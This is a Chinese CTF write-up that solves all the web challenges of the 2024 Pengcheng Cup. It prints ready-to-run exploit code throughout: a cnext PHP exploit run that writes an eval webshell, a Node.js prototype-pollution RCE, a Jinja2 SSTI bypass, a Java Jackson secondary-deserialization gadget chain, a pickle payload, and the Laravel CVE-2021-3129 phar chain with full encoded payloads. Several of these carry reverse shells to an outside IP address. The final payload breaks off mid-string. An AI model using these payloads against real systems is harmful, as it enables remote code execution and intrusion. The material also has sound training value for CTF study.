第四届“鹏城杯”联邦网络靶场协同攻防演练 WEB全解析
1315609050541697 发表于 湖北 CTF 466浏览 · 2024-11-09 12:17

第四届“鹏城杯”联邦网络靶场协同攻防演练 WEB引言

第四届“鹏城杯”联邦网络靶场协同攻防演练 WEB全解析,今天刚打完2024鹏城杯感觉比往届都要难,一共打了10小时最后WEB全写出来了,有个JSJail逃逸和Java的jackson原生二次反序列化比较好,以下供师傅们分析学习。

Fileread-pcb2024

源码如下

<?php

class cls1
{
    var $cls;
    var $arr;
    public function __construct()
    {
        $this->arr = array(1 => 'fileput');
        $this->cls = new cls2();
    }
}
class cls2

{
    var $filename = 'a';
    var $txt = '';
    function fileput()
    {
        echo 'Your file:' . file_get_contents($this->filename);
    }
}
$a = new cls1();
echo (serialize($a));

构造pop链但是读文件读不出来flag想到了cnext

<?php
class cls1
{
    var $cls;
    var $arr;

    public function __construct()
    {
        $this->arr = array(1 => 'fileput');
        $this->cls = new cls2();
    }
}
class cls2
{
    var $filename = 'a';
    var $txt = '';
    function fileput()
    {
        echo 'Your file:' . file_get_contents($this->filename);
    }
}
$a = new cls1();
echo (serialize($a));

修改cnext脚本代码如下即可

def send(self, path: str) -> Response:

        """Sends given `path` to the HTTP server. Returns the response.
        """

        #O:4:"cls1":2:{s:3:"cls";O:4:"cls2":2:{s:8:"filename";s:1:"a";s:3:"txt";s:0:"";}s:3:"arr";a:1:{i:1;s:7:"fileput";}}
        a='O:4:"cls1":2:{s:3:"cls";O:4:"cls2":2:{s:8:"filename";s:'+str(len(path))+':"'+path+'";s:3:"txt";s:0:"";}s:3:"arr";a:1:{i:1;s:7:"fileput";}}'

        return self.session.get(self.url+"?ser="+base64.encode(a))
    def download(self, path: str) -> bytes:

        """Returns the contents of a remote file.
        """
        path = f"php://filter/convert.base64-encode/resource={path}"
        response = self.send(path)
        data = response.re.search(b"Your file:(.*)", flags=re.S).group(1)
        return base64.decode(data)

跑一下写shell

python3 cnext-exploit.py "http://192.168.18.24/" 'echo "<?php eval(\$_POST[1]);?>" > my.php'

NotAdmin-pcb2024

源码如下

const express = require('express');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
let { User } = require('./user');
const crypto = require('crypto');
const path = require('path')

const app = express();
const port = 3000;

app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));

app.use(express.static('public'));
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.json());

const tmp_user = {}

function authenticateToken(req, res, next) {
    const authHeader = req.headers['authorization'];
    const token = authHeader;
    if (tmp_user.secretKey == undefined) {
        tmp_user.secretKey = crypto.randomBytes(16).toString('hex');
    }
    if (!token) {
        return res.redirect('/login');
    }
    try {
        const decoded = jwt.verify(token, tmp_user.secretKey);
        req.user = decoded;
        next();
    } catch (ex) {
        return res.status(400).send('Invalid token.');
    }
}

const merge = (a, b) => {
    for (var c in b) {
        console.log(JSON.stringify(b[c]));
        if (check(b[c])) {
            if (a.hasOwnProperty(c) && b.hasOwnProperty(c) && typeof a[c] === 'object' && typeof b[c] === 'object') {
                merge(a[c], b[c]);
            } else {
                a[c] = b[c];
            }
        } else {
            return 0
        }
    }
    return a
}

console.log(tmp_user.secretKey)

var check = function (str) {
    let input = /const|var|let|return|subprocess|Array|constructor|load|push|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base|"|'|\\|\[|\+|\*/ig;

    if (typeof str === 'object' && str !== null) {
        for (let key in str) {
            if (!check(key)) {
                return false;
            }
            if (!check(str[key])) {
                return false;
            }
        }
        return true;
    } else {
        return !input.test(str);
    }
};

app.get('/login', (req, res) => {
    res.render('login')
});

app.post('/login', (req, res) => {
    if (merge(tmp_user, req.body)) {
        if (tmp_user.secretKey == undefined) {
            tmp_user.secretKey = crypto.randomBytes(16).toString('hex');
        }
        if (User.verifyLogin(tmp_user.password)) {
            const token = jwt.sign({ username: tmp_user.username }, tmp_user.secretKey);
            res.send(`Login successful! Token: ${token}\nBut nothing happend~`);
        } else {
            res.send('Login failed!');
        }
    } else {
        res.send("Hacker denied!")
    }
});

app.get('/', (req, res) => {
    authenticateToken(req, res, () => {
        backcode = eval(tmp_user.code)
        res.send("something happend~")
    });
});

app.listen(port, () => {
    console.log(`Server running at http://localhost:${port}`);
});

通过code来执行命令,由于关键字过滤掉了单双引号,这里可以全部换成反引号。没有过滤掉Reflect,考虑用反射调用函数实现RCE。首先,由于过滤了child_process还有require关键字,我想到的是base64编码一下再执行

过滤掉了Buffer,可以换成

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))

但问题在于,关键字还过滤了中括号,这一点简单,再加一层Reflect.get

Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)

所以基本payload变成

Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString()

但问题在于,这样传过去后,eval只会进行解码,而不是执行解码后的内容,所以需要再套一层eval,因为过滤了eval关键字,同样考虑用反射获取到eval函数。

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString())

原型链污染脚本如下

import requests

session = requests.session()

burp0_url = "http://192.168.18.21:80/"

code = "(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes(`eva`)))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEyNC4yMjAuMzcuMTczLzIzMzMgMD4mMSciKQ==`,`bas`.concat(`e64`)).toString()))"

burp0_json={"code": code}

res2=session.post(burp0_url+'login', json=burp0_json)

print(res2.text)

burp0_headers = {"authorization": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzMxMTIwMTQyfQ.ul_3t_yYxj4dMh5D-hq2UhRqw5qt3qEI1EdQ92cyjFI"}

res = session.get(burp0_url, headers=burp0_headers)

print(res.text)

python口算-pcb2024

开局是一个算式

写脚本得到下一关的文件

import requests

url = "http://192.168.18.28/calc"

response = requests.get(url)
ans = eval(response.text)
print(ans)

url = "http://192.168.18.28/?answer="+str(ans)+"&Submit=Submit"
response = requests.get(url)
print(response.text)

得到如下源码

@app.route('/')
def index(solved=0):
    global current_expr

    # 前端计算
    .....
    .....
    # 通过计算

    username = 'ctfer!'
    if request.args.get('username'):
        username = request.args.get('username')
        if whitelist_filter(username,whitelist_patterns):
            if blacklist_filter(username):
                return render_template_string("filtered")
            else:
                print("你过关!")
        else:
            return render_template_string("filtered")
    return render_template('index.html', username=username, hint="f4dd790b-bc4e-48de-b717-903d433c597f")

黑盒ssti绕过写脚本如下,只用绕过空格和关键词那么我们拼接绕过

import requests
import re
from base64 import b64encode
url = "http://192.168.18.28/calc"
seq = requests.session()
response = seq.get(url)
ans = eval(response.text)
url = "http://192.168.18.28/"
param = {
    'answer' : str(ans),
    'username' : '''{{config.__init__.__globals__['__builtins__']['ev''al']("__impo"+"rt__('o"+"s').po"+"pen('cat$IFS/flag').read()")}}'''
}
response = seq.get(url, params=param, data=param)
print(response.text)

LookUp-pcb2024

源码如下

public class IndexController {  
    @RequestMapping(value = {"/des"}, method = {RequestMethod.POST})  
    public String deserialize(@RequestParam("base64Data") String base64Data) {  
        System.out.println(base64Data);  
        return deserializeData(Base64.getMimeDecoder().decode(base64Data));  
    }  
    private static String deserializeData(byte[] serializedData) {  
        try {  
            ByteArrayInputStream bis = new ByteArrayInputStream(serializedData);  
            MyInputstream ois = new MyInputstream(bis);  
            ois.readObject();  
            ois.close();  
            bis.close();  
            return "success";  
        } catch (InvalidClassException e) {  
            System.out.println(e.toString());  
            return "hacker";  
        } catch (Exception e2) {  
            return "error";  
        }    }}

并实现了Myinputstream的过滤

public class MyInputstream extends ObjectInputStream {  
    private ArrayList list = new ArrayList();  

    public MyInputstream(InputStream in) throws IOException {  
        super(in);  
    }  
    @Override // java.io.ObjectInputStream  
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {  
        this.list.add(TemplatesImpl.class.getName());  
        this.list.add(hello.class.getName());  
        this.list.add(HashMap.class.getName());  
        this.list.add(Hashtable.class.getName());  
        System.out.println(desc.getName());  
        if (!this.list.contains(desc.getName())) {  
            return super.resolveClass(desc);  
        }        throw new InvalidClassException("nonono");  
    }}

pom依赖如下

<dependencies>

      <!-- Spring Web MVC -->

    <dependency>

      <groupId>org.springframework.boot</groupId>

      <artifactId>spring-boot-starter</artifactId>

      <version>2.5.4</version> <!-- 替换为你想要使用的 Spring Boot 版本 -->

    </dependency>



    <!-- Spring Boot Web 依赖,用于构建 Web 应用程序 -->

    <dependency>

      <groupId>org.springframework.boot</groupId>

      <artifactId>spring-boot-starter-web</artifactId>

      <version>2.5.4</version> <!-- 替换为你想要使用的 Spring Boot 版本 -->

    </dependency>

    <dependency>

      <groupId>commons-codec</groupId>

      <artifactId>commons-codec</artifactId>

      <version>1.15</version> <!-- 替换为你想要使用的 Apache Commons Codec 版本 -->

    </dependency>

  <dependency>

        <groupId>org.springframework</groupId>

        <artifactId>spring-webmvc</artifactId>

        <version>5.3.10</version>

      </dependency>



      <!-- Spring Core -->

      <dependency>

        <groupId>org.springframework</groupId>

        <artifactId>spring-core</artifactId>

        <version>5.3.10</version>

      </dependency>



      <!-- 其他Spring依赖 -->

      <!-- 根据您的具体需求添加其他Spring依赖,如Spring Security、Spring Data等 -->

    <dependency>

      <groupId>junit</groupId>

      <artifactId>junit</artifactId>

      <version>4.11</version>

      <scope>test</scope>

    </dependency>

    <dependency>

      <groupId>rome</groupId>

      <artifactId>rome</artifactId>

      <version>1.0</version>

    </dependency>

  </dependencies>

我们打二次反序列化, 有jackson依赖我们直接打原生的

链子也就是jackson

BadAttributeValueExpException#readObject() -> ToStringBean#toString() ->POJONode#toString() -> SignedObject#getObject() -> BadAttributeValueExpException#readObject() -> BaseJsonNode#toString() -> TemplatesImpl#getOutputProperties()

构造payload如下:

import com.fasterxml.jackson.databind.node.POJONode;  

import java.io.ByteArrayOutputStream;  
import java.io.FileOutputStream;  
import java.io.IOException;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.security.*;  
import java.util.Base64;  

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import javassist.*;  

import javax.management.BadAttributeValueExpException;  

public class SignedObjectBAVEPoC  
{  
    public static void main(String[] args) throws Exception {  
        ClassPool pool = ClassPool.getDefault();  
        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");  
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");  
        ctClass0.removeMethod(writeReplace);  
        ctClass0.toClass();  

        ClassPool pool2 = ClassPool.getDefault();  
        CtClass ctClass = pool2.makeClass("a");  
        CtClass superClass = pool2.get(AbstractTranslet.class.getName());  
        ctClass.setSuperclass(superClass);  
        CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);  
        constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAgIC1jICAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIwLjM3LjE3My84OTk5IDA+JjEn}|{base64,-d}|{bash,-i}\");");  
        ctClass.addConstructor(constructor);  
        byte[] bytes = ctClass.toBytecode();  
        TemplatesImpl templatesImpl = new TemplatesImpl();  
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});  
        setFieldValue(templatesImpl, "_name", "bbb");  
        setFieldValue(templatesImpl, "_tfactory", null);  

        POJONode jsonNodes = new POJONode(templatesImpl);  
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);  
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");  
        val.setAccessible(true);  
        val.set(exp,jsonNodes);  
        ByteArrayOutputStream barr = new ByteArrayOutputStream();  
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);  
        //二次反序列化  
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");  
        kpg.initialize(1024);  
        KeyPair kp = kpg.generateKeyPair();  
        SignedObject signedObject = new SignedObject(exp, kp.getPrivate(), Signature.getInstance("DSA"));  



        POJONode node = new POJONode(signedObject);  
        BadAttributeValueExpException val2 = new BadAttributeValueExpException(null);  

        setFieldValue(val2, "val", node);  
        System.out.println(Base64.getEncoder().encodeToString(serialize(val2)));  

    }    public static byte[] serialize(Object obj) throws IOException {  
    ByteArrayOutputStream baos = new ByteArrayOutputStream();  
    ObjectOutputStream oos = new ObjectOutputStream(baos);  
    oos.writeObject(obj);  
    return baos.toByteArray();}  
    public static void setFieldValue(Object obj, String field, Object val) throws Exception{  
        Field dField = obj.getClass().getDeclaredField(field);  
        dField.setAccessible(true);  
        dField.set(obj, val);  
    }  

}

ezpython

dirsearch扫到一个login入口,试了一下弱口令登进去: test/123456

有一个管理员登录入口

const loginForm = document.getElementById('loginForm');
        const errorMessage = document.getElementById('errorMessage');

        loginForm.addEventListener('submit', function(event) {
            event.preventDefault();

            const username = document.getElementById('username').value;
            const password = document.getElementById('password').value;

            // 发送登录请求
            fetch('/login', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify({ username: username, password: password }),
            })
            .then(response => response.json())
            .then(data => {
                if (data.token) {
                    // 保存JWT到localStorage
                    localStorage.setItem('token', `${data.token}`);
                    // 显示成功消息,并启用受保护的请求按钮
                    alert("Login successful!");
                    document.getElementById('protectedBtn').style.display = 'block';
                } else {
                    errorMessage.textContent = data.message;
                    errorMessage.style.display = 'block';
                }
            })
            .catch(error => {
                errorMessage.textContent = 'An error occurred. Please try again.';
                errorMessage.style.display = 'block';
            });
        });

        // 点击按钮访问受保护的路由时,自动添加 JWT 令牌
        function accessProtectedRoute() {
            const token = localStorage.getItem('token');
            if (token) {
                // 访问受保护的路由,并将JWT附加到请求头中
                fetch('/protected', {
                    method: 'GET',
                    headers: {
                        'Authorization': token  // 添加 JWT 到 Authorization 请求头
                    }
                })
                .then(response => response.json())
                .then(data => {
                    alert(data.message);  // 显示不同的消息
                })
                .catch(error => {
                    console.error('Error:', error);
                });
            } else {
                alert('No token found. Please login.');
            }

        }

拿到token爆破secretkey:a123456
然后伪造token进去

得到路由ser并由部分源码

import pickle
import base64
def hhhhackme(pickled):
    data = base64.urlsafe_b64decode(pickled)
    deserialized = pickle.loads(data)
    return '', 204

传参后提示json我们传json,打反序列化反弹shell

import base64
opcode=b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/vps/2333 0>&1'"
tR.
'''
print(base64.b64encode(opcode))

larave-lpcb2024

看到版本搜一下Laravel RCE(CVE-2021-3129)

先下载exp

git clone https://github.com/ambionics/phpggc.git

chmod 777 ./phpggc

docker运行phpggc生成payload

docker run phpggc Laravel/RCE5 "system('cat /flag.txt');;" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

得到的POC(编码后的)最后面再加一个a,否则最终laravel.log里面将生成两个POC,导致利用失败:

=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=4F=00=41=00=67=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=58=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=4B=00=43=00=64=00=6A=00=59=00=58=00=51=00=67=00=4C=00=32=00=5A=00=73=00=59=00=57=00=63=00=75=00=64=00=48=00=68=00=30=00=4A=00=79=00=6B=00=37=00=4F=00=79=00=42=00=6C=00=65=00=47=00=6C=00=30=00=4F=00=79=00=41=00=2F=00=50=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=4B=00=4D=00=63=00=4C=00=32=00=63=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=31=00=33=00=52=00=6C=00=63=00=33=00=52=00=46=00=6A=00=32=00=5A=00=38=00=74=00=41=00=76=00=50=00=6C=00=55=00=6E=00=49=00=63=00=69=00=52=00=61=00=41=00=53=00=6E=00=51=00=73=00=77=00=63=00=7A=00=77=00=77=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a

清空日志

POST /_ignition/execute-solution HTTP/1.1
Content-Type: application/json


{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log" } }

发送如下数据包,给Log增加一次前缀,用于对齐:

POST /_ignition/execute-solution HTTP/1.1
Host: 139.xxx:8080
Content-Type: application/json
Content-Length: 155


{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName":"username", "viewFile": "AA" } }

将POC作为viewFile的值,发送数据包

{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName":"username", "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=62=00=41=00=67=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=6C=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=31=00=4E=00=44=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=4B=00=43=00=64=00=73=00=63=00=79=00=41=00=76=00=4A=00=79=00=6B=00=37=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=4B=00=43=00=64=00=6A=00=59=00=58=00=51=00=67=00=4C=00=32=00=5A=00=73=00=59=00=57=00=63=00=75=00=64=00=48=00=68=00=30=00=4A=00=79=00=6B=00=37=00=49=00=47=00=56=00=34=00=61=00=58=00=51=00=37=00=49=00=44=00=38=00=2B=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=0